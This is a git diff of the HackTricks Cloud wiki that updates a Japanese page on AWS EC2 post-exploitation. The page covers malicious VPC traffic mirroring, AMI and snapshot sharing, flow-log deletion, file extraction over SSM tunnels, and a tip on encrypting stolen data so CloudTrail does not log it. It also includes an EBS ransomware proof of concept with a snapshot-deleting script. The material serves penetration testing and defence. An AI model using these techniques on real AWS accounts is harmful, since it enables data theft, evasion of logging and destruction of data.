mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 13:43:24 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -10,9 +10,9 @@
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **悪意のあるVPCミラー -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **悪意のある VPC ミラー -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPCトラフィックミラーリングは、**VPC内のEC2インスタンスのインバウンドおよびアウトバウンドトラフィックを複製**し、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、一般的にネットワーク侵入検知システム(IDS)などに送信され、分析および監視されます。\
|
||||
VPC トラフィックミラーリングは、**VPC 内の EC2 インスタンスのインバウンドおよびアウトバウンドトラフィックを複製**し、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、通常、分析と監視のためにネットワーク侵入検知システム (IDS) に送信されます。\
|
||||
攻撃者はこれを悪用して、すべてのトラフィックをキャプチャし、そこから機密情報を取得することができます:
|
||||
|
||||
詳細については、このページを確認してください:
|
||||
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### 実行中のインスタンスのコピー
|
||||
|
||||
インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります([EC2特権昇格トリック](../../aws-privilege-escalation/aws-ec2-privesc.md)を確認してください)。ただし、含まれている内容を確認する別の方法は、**AMIを作成し、それから新しいインスタンスを実行することです(自分のアカウントであっても)**:
|
||||
インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります([EC2 権限昇格トリック](../../aws-privilege-escalation/aws-ec2-privesc.md)を確認してください)。ただし、含まれているものを確認する別の方法は、**AMI を作成し、それから新しいインスタンスを実行することです(自分のアカウントであっても)**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -63,8 +63,8 @@ aws-ebs-snapshot-dump.md
|
||||
EC2をロックダウンしてトラフィックが外に出られないようにしても、**DNS経由で流出する**可能性があります。
|
||||
|
||||
- **VPCフローログはこれを記録しません**。
|
||||
- AWS DNSログにアクセスできません。
|
||||
- 次のコマンドで "enableDnsSupport" を false に設定することで無効にします:
|
||||
- AWS DNSログへのアクセスはありません。
|
||||
- 次のコマンドで「enableDnsSupport」をfalseに設定することでこれを無効にします:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
@@ -81,7 +81,7 @@ aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --por
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
EC2インスタンスを実行し、ECSインスタンスを実行するために登録し、その後ECSインスタンスのデータを盗むことが可能です。
|
||||
EC2インスタンスを実行し、ECSインスタンスを実行するために登録することが可能であり、その後ECSインスタンスのデータを盗むことができます。
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
|
||||
@@ -97,7 +97,7 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
|
||||
コマンド実行に加えて、SSMはトラフィックトンネリングを許可しており、これを悪用してセキュリティグループやNACLのためにネットワークアクセスがないEC2インスタンスからピボットすることができます。この機能が役立つシナリオの一つは、[Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) からプライベートEKSクラスターへのピボットです。
|
||||
|
||||
> セッションを開始するには、SessionManagerPluginをインストールする必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> セッションを開始するには、SessionManagerPluginがインストールされている必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. マシンにSessionManagerPluginをインストールします
|
||||
2. 次のコマンドを使用してBastion EC2にログインします:
|
||||
@@ -115,15 +115,56 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. `kubectl`ツールからのトラフィックは、Bastion EC2を介してSSMトンネルを通じて転送されており、次のコマンドを実行することで自分のマシンからプライベートEKSクラスターにアクセスできます:
|
||||
8. `kubectl` ツールからのトラフィックは、Bastion EC2 を介して SSM トンネルを通じて転送されており、次のコマンドを実行することで自分のマシンからプライベート EKS クラスターにアクセスできます:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
SSL接続は、`--insecure-skip-tls-verify`フラグ(またはK8s監査ツールでの同等のもの)を設定しない限り失敗します。トラフィックが安全なAWS SSMトンネルを通じてトンネリングされているため、MitM攻撃からは安全です。
|
||||
SSL接続は、`--insecure-skip-tls-verify`フラグ(またはK8s監査ツールでの同等のもの)を設定しない限り失敗します。トラフィックが安全なAWS SSMトンネルを通じてトンネリングされるため、MitM攻撃からは安全です。
|
||||
|
||||
最後に、この技術はプライベートEKSクラスターを攻撃するためのものではありません。任意のドメインとポートを設定して、他のAWSサービスやカスタムアプリケーションにピボットできます。
|
||||
|
||||
### Share AMI
|
||||
---
|
||||
|
||||
#### クイックローカル ↔️ リモートポートフォワード (AWS-StartPortForwardingSession)
|
||||
|
||||
**EC2インスタンスからローカルホストに1つのTCPポートを転送するだけが必要な場合**は、`AWS-StartPortForwardingSession` SSMドキュメントを使用できます(リモートホストパラメータは不要です):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
コマンドは、ワークステーション(`localPortNumber`)とインスタンス上の選択したポート(`portNumber`)の間に双方向トンネルを確立します **インバウンドセキュリティグループルールを開かずに**。
|
||||
|
||||
一般的な使用例:
|
||||
|
||||
* **ファイルの抽出**
|
||||
1. インスタンス上で、抽出したいディレクトリを指す簡単なHTTPサーバーを起動します:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. ワークステーションからSSMトンネルを通じてファイルを取得します:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **内部ウェブアプリケーションへのアクセス(例:Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
ヒント: CloudTrailがクリアテキストの内容をログに記録しないように、証拠を抽出する前に圧縮して暗号化してください:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
```
|
||||
### AMIを共有する
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
@@ -137,7 +178,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのが非常に簡単であることから、Ransomware Management Service(RMS)に改名されるべきです。
|
||||
S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのが簡単であることから、Ransomware Management Service(RMS)に改名されるべきです。
|
||||
|
||||
まず、'attacker' AWSアカウントからKMSにカスタマーマネージドキーを作成します。この例では、AWSがキーのデータを管理しますが、現実的なシナリオでは悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのPrincipalがキーを使用できるようにします。このキーのポリシーでは、アカウント名は'AttackSim'で、すべてのアクセスを許可するポリシールールは'Outside Encryption'と呼ばれています。
|
||||
```
|
||||
@@ -239,7 +280,7 @@ S3のポストエクスプロイテーションノートで示されたランサ
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
次に、公開アクセス可能なキーを使用します。暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットです。この攻撃は、高権限の AWS アカウントが侵害されていると仮定しています。
|
||||
次に、公開アクセス可能なキーを使用します。暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットであり、この攻撃は高特権 AWS アカウントの侵害を前提としています。
|
||||
|
||||
 
|
||||
|
||||
@@ -249,7 +290,7 @@ S3 ランサムウェアの例と同様に、この攻撃はアタッチされ
|
||||
|
||||

|
||||
|
||||
また、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止しました。元の暗号化されていないボリュームは現在存在しません。
|
||||
また、スクリプトは EC2 インスタンスを停止して元の EBS ボリュームをデタッチおよび削除しました。元の暗号化されていないボリュームは現在存在しません。
|
||||
|
||||

|
||||
|
||||
@@ -328,7 +369,7 @@ S3 ランサムウェアの例と同様に、この攻撃はアタッチされ
|
||||
|
||||
 
|
||||
|
||||
しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、単に失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキー ポリシーがもはや許可していないため、キーを使用して復号化できないからです。
|
||||
しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキー ポリシーがもはや許可していないため、キーを使用して復号化できないからです。
|
||||
|
||||
 
|
||||
|
||||
@@ -449,4 +490,8 @@ delete_snapshots(ec2_client, snapshot_ids)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## 参考文献
|
||||
|
||||
- [Pentest Partners – AWSでSSMを使用してファイルを転送する方法](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user